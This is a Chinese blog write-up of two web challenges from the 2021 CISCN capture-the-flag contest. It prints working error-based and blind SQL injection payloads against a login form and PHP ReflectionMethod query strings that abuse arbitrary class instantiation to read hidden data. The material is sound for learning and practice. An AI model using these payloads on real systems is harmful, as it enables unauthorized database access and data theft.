

# 2021全国大学生信息安全大赛[CISCN]web部分复现

原创

1ance. 于 2021-05-18 00:57:44 发布 984 收藏 3

分类专栏: [赛题复现](#) 文章标签: [信息安全](#) [web](#) [网络安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/weixin\\_44033675/article/details/116905618](https://blog.csdn.net/weixin_44033675/article/details/116905618)

版权



[赛题复现](#) 专栏收录该内容

3 篇文章 0 订阅

订阅专栏

## 目录

Web

[easysql](#)

[easy\\_source](#)

## Web

### easysql

太菜了。。一道注入搞了半天也没整出来离谱的很。。

先是想着sqlmap跑一下, 结果发现是sqllabs的数据库, 发现flag表, 心中暗想不会吧不会吧这就出来了?? 接下去, 才发现是我太年轻了。flag表里啥就一个id字段, 其他的啥也没跑出来, 离谱啊。。

只能手工测测了。发现有报错注入, 但是information被过滤了, 查不了列名, 然后想着用时间盲注, 跑出列名, 最后跑出来flag (那一刻是超爽)。。。但是提交错误 (心态炸裂), 然后开始检查, 发现脚本有问题, 比较的时候大小写有问题。

```
payload = "admin')and(if((select 1,'NO','{')<(select * from flag),1,0))#"
```

在本地测了一下, 发现大小写比较会出问题。要转ascii才行, 所以之前的思路不太行了。。

继续分析吧, 找资料, 发现是利用join无列表注入。

道行还浅仍需努力啊最后还是没做出来。后面再加强无列表注入。

以下参考魔法少女雪殇

```
payload: uname=admin&passwd=1') and updatexml(1,concat(0x7e,(select*from (select * from flag as a join flag as b using(id,no))as c),0x7e),1)#&Submit=%E7%99%BB%E5%BD%95
```

```
name=admin&passwd=1') and
updatexml(1,concat(0x7e,(select*from (select * from flag as
join flag as b using(id,no))as
),0x7e),1)#&Submit=%E7%99%BB%E5%BD%95
39 </div>
40 </div>
41 </body>
42 </html>
43
44
45
46
47
48
49 Duplicate column name 'cb9704e8-dfcb-4feb-90c7-d84c92ef0062
</font>
50 </div>
51 </body>
https://blog.csdn.net/weixin_44033675
```

报错出字段，继续

```
uname=admin&passwd=1')||updatexml(1,((select `cb9704e8-dfcb-4feb-90c7-d84c92ef0062` from flag limit 0,1)),1)%23#
&Submit=%E7%99%BB%E5%BD%95
```

```
45
46
47
48
49 XPATH syntax error: '{0sq5h-D0ogC-T27JD-Qzv6N-Xxk15-}'
</font>
50 </div>
51 </body>
52 </html>
```

## easy\_source

原理是：PHP反射 flag藏在类注释里

根据提示源码，查看备份，.index.php.swo (前几天津门杯是swp这次是swo，下次是不是就是swn了hahaha)

发现源码

本题目没有其他代码了噢，就只有这一个文件，虽然你看到的不完全，但是你觉得我会把flag藏在哪儿呢，仔细想想文件里面还有什么？

```
<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }
}
```

```

    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

```

[https://blog.csdn.net/weixin\\_44033675](https://blog.csdn.net/weixin_44033675)

```

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

```

分析题目，猜测 flag 是藏在类的注释中，我们能够实例化任意类，并调用类方法，那么就可以利用 PHP 内置类中的 ReflectionMethod 来读取 User 类里面各个函数的注释，本地测试如下：

```

1  <?php
2  class User
3  {
4      private static $c = 0;
5      // public $b = 100;
6
7      function a()
8      {
9          return ++self::$c;
10     }
11     /**
12      * Increment counter
13      * @final
14      * @static
15      * @access publicflag{b5bd0ab820fd11eb8cf4fa163e83cb88}
16      * @return int
17      */
18     function b()
19     {
20         return ++self::$c;
21     }
22 }
23
24 $d = new ReflectionMethod ('User', 'b');
25 // $d->c();
26 // var_dump($d);
27 var_dump($d->getDocComment());
28 ?>
29
30

```

问题 输出 调试控制台 终端

```

 * @access publicflag{b5bd0ab820fd11eb8cf4fa163e83cb88}
 * @return int
 */
Method [ <user> public method b ] {
  @@ /home/vscode/php/2.php 18 - 21
}

```

```

vscode@kali ~/php> php 2.php
string(141) "/*
 * Increment counter
 * @final
 * @static
 * @access publicflag{b5bd0ab820fd11eb8cf4fa163e83cb88}
 * @return int
 */"

```

vscode@kali ~/php> █

[https://blog.csdn.net/weixin\\_44033675](https://blog.csdn.net/weixin_44033675)

伪源码：

```
<?php
```

```
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
```

```

function l()
{
    return ++self::$c;
}

function m()
{
    return ++self::$c;
}

function n()
{
    return ++self::$c;
}

function o()
{
    return ++self::$c;
}

function p()
{
    return ++self::$c;
}
/**
 * Increment counter
 * @final
 * @static
 * @access publicflag{b5bd0ab820fd11eb8cf4fa163e83cb88}
 * @return int
 */
function q()
{
    return ++self::$c;
}

function r()
{
    return ++self::$c;
}

function s()
{
    return ++self::$c;
}

function t()
{
    return ++self::$c;
}
}

```

```

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);

```

```
var_dump($method->$rd());
```

构造成题目中的 http 参数

```
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
```

因为不知道是在哪个函数的注释中，所以逐个函数爆破，爆破 rb 的值 a-z，可以发现 flag 在 q 的注释中。

payload:

```
?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment
```

本题考察的是 PHP 反射，ReflectionMethod 构造 User 类中的函数方法，再通过 getDocComment 获取函数的注释，本例中使用 \_\_toString 同样可以输出函数注释内容。

参考: [fslh-writeup](#)

接下来就是划水了。。。整的跟高考似的。